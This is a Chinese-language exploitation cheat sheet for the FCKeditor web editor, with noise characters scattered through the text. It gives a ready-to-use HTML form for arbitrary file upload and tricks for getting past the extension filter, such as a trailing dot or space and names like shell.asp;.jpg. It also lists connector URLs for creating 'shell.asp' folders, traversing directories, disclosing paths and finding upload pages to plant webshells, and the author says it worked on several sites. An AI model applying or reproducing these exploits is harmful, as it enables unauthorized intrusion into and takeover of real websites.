Fckeditor漏洞利用总结 & w7 t8 q! `$ ]. m# u* d& E- q" T0 _
查看编辑器版本 B4 N' [8 D1 `( S x
FCKeditor/_whatsnew.html5 Q8 G, p+ k. V) E) p) }. }
—————————————————————————————————————————————————————————————3 ~2 T1 C9 g1 o* n: {
6 X+ U& l3 d4 g, o2. Version 2.2 版本, x/ g; U, |5 r5 t$ R- U
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
4 S' D. c; X' y) ]; _7 ?& D+ Z—————————————————————————————————————————————————————————————
# Z( o9 C( U7 `9 r$ W2 ]& v. b+ R5 l* M: |: O
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。- f# I) d$ V$ O
<form id="frmUpload" enctype="multipart/form-data"
7 o; \" s& {. ], @action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>8 T; T! f0 y/ r/ y4 y. X
<input type="file" name="NewFile" size="50"><br>3 `6 w/ K% e- G4 ^" T) f
<input id="btnUpload" type="submit" value="Upload">0 c+ ~7 @; F# h( S3 {% b. T% v/ H
</form>* E0 O% p$ g: {- c2 r" y- |$ Z/ J* `
—————————————————————————————————————————————————————————————6 M0 _. ?; u' k* v4 L9 C; p8 }
! z% Z m; [1 G |- W7 F9 Y3 Q
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
9 S: h1 Q1 ], w 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。3 \7 Q3 X6 Q6 ~( X Y- O
4.1:提交shell.php+空格绕过
. Z0 L! _ c: b不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
1 G, X0 N8 I) {9 F; \: ?$ w 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
& d( l8 s# S: O' [# l [—————————————————————————————————————————————————————————————$ }+ b. X5 h& F- V' O/ h3 h0 w u
9 v% r7 J. Z4 B: o$ y, I" s
5. 突破建立文件夹6 \' x5 }$ C5 z% l/ m$ ?
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684: R7 W* ?# Z7 Y4 j8 H" }- M/ Y) m
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp( |" y: H/ W, _7 k
—————————————————————————————————————————————————————————————+ T; ^0 x/ w1 |4 N
8 X2 C& @+ v/ a5 ^- [% @
6. FCKeditor 中test 文件的上传地址
9 ], H- }& W; YFCKeditor/editor/filemanager/browser/default/connectors/test.html2 R9 Z0 C# \) G* f
FCKeditor/editor/filemanager/upload/test.html
( V/ G+ w3 M5 cFCKeditor/editor/filemanager/connectors/test.html6 o$ N) R2 m( a5 k
FCKeditor/editor/filemanager/connectors/uploadtest.html
& p$ w7 t$ P3 C V) u& Z3 B—————————————————————————————————————————————————————————————
2 _# x2 K, i+ G7 |# V
1 A- s! m& {) Z8 A2 O6 o: i1 w7.常用上传地址
0 r4 |4 Q# r" }6 g6 P9 ]FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
5 G6 S5 h& F4 o- L( ZFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
) d9 e# \3 E: [9 s& kFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
; Z, s# M' k6 fJSP 版:" o; x7 e0 k: a' c& q/ w. J
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
& L$ ]. G) b: \- y, H注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文, J& g4 s$ i M3 J# B$ N' a3 H) E+ u3 h
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。* V0 g; F. _3 W) R
—————————————————————————————————————————————————————————————# C* @* }' ?9 r3 e r d
6 W' |( x0 h1 b( {" }
8.其他上传地址
& T7 w4 n! a1 D- r: M8 AFCKeditor/_samples/default.html
$ [# a5 A! E5 ]+ iFCKeditor/_samples/asp/sample01.asp$ u& F3 n7 H: ]4 e2 c7 m- J
FCKeditor/_samples/asp/sample02.asp* i! b2 \+ b5 z4 Z. W
FCKeditor/_samples/asp/sample03.asp
_( i( m$ S& n3 x9 {5 aFCKeditor/_samples/asp/sample04.asp
5 O) L7 O5 x% X一般很多站点都已删除_samples 目录,可以试试。
; l% k% Y' \9 D% UFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
1 q) y3 m, w: ]+ e8 b) D( x—————————————————————————————————————————————————————————————
8 x! Q! G3 Z. R) w% N4 W
$ @8 {3 r! r+ \( f+ _6 L* M5 X9.列目录漏洞也可助找上传地址
* c& E4 \9 L u. D1 @% I ?Version 2.4.1 测试通过
0 P! d3 u# W% {: t: ^修改CurrentFolder 参数使用 ../../来进入不同的目录5 ?0 z Z1 S4 o. V( X2 w( d
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
$ u. Y6 g, ^! O- o4 }根据返回的XML 信息可以查看网站所有的目录。
) F" | M7 p9 f4 O# `. @FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
9 ~# y% ^; P# D* u! S) E: r也可以直接浏览盘符:
0 Q0 G+ ]! h2 \& i# U: |( c2 J% bJSP 版本:
) N5 v$ s& R( U+ b. NFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
V/ T/ s) _& ]! s—————————————————————————————————————————————————————————————0 L7 \1 O) F3 X* ~
; v1 q. Y. Z& o' C10.爆路径漏洞( A; A3 W+ P, ^. _4 H+ C
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
" ^& }6 r, M5 S" p. P) {* a—————————————————————————————————————————————————————————————
! t/ ~4 [& Z# M7 @& i! z& @, h% s
3 I3 D: h: f, a; Y$ g' m11. FCKeditor 被动限制策略所导致的过滤不严问题
! C' P7 {% N1 x6 Y) Q+ y 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
, f. `1 j' [( J) e, R4 O* Q, F8 J! W脆弱描述:( }3 ^- Q1 U, Z, H/ e7 \/ b& @
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:2 w4 q) h! H. ^
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
. J1 a6 @; g, @: U3 w9 d' _) RFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!4 g. D; n" _6 |1 t. B! A( G& c+ t
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。' F! c$ `1 W: g3 r* G2 J: k
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!5 A: {6 q4 K. d+ N& a! Z
—————————————————————————————————————————————————————————————
+ b) P: E" v+ ?" ]; G1 v# m3 p/ }1 c/ K: l. U7 q
12.最古老的漏洞,Type文件没有限制!
+ s W6 k; [; V$ P0 Y3 Q9 ^ 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 0 `) \: V/ Z! F
—————————————————————————————————————————————————————————————
% L$ @' B) j3 e+ | F! H5 {+ m
2 r, ?& V" C( z7 H4 t4 v& Z/ f2 \===============================================================================================================================================) D8 l1 N" i6 s2 K" l
. r4 Z& a, A" o2 R- s
FCK编辑器jsp版本漏洞:
/ G0 C6 o% F! y" ?: p4 o8 c0 l+ J) k! M
) `# g. p: e. v+ J) o
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
3 z" l9 J# x% [: E( ?& i# l2 G4 _, U& }" |; r, T7 n# P
上传马所在目录* ?+ [3 W) o0 ]5 U: s& H' _, C( J
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/- C( Y4 q) S3 ]: j
上传shell的地址:
]& h2 u* q# r5 v% U* Ehttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
" z' `' w1 j% {! C7 k' i跟版本有关系.并不是百分百成功. 测试成功几个站.
. b1 n* i& h O- Z5 s2 U7 t不能通杀.很遗憾./ F. _2 D- z3 Z f! }0 K
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
4 s0 u2 y, E$ i! b# d( f3 j如果以上地址不行可以试试
6 l. x. Z% n. d" ?, j& z4 B# QFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector& x( O' W6 C5 e; _2 ~9 C2 k4 r
FCKeditor/_samples/, u. R* O9 w" G
FCKeditor/_samples/default.html
' m: ~- |2 g: x2 t) p0 s6 O* `" F' wFCKeditor/editor/fckeditor.htm% i8 M- ~+ S, u, g: B
FCKeditor/editor/fckdialog.html
, T% X% }- v% K1 q, k% r% q
" D. \0 ^* S/ _8 Y) `* J2 T/ u8 }( F3 p& H8 C1 F- A6 K
0 |/ V! k/ U7 y G& n解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
+ t7 J4 E& [: |: U |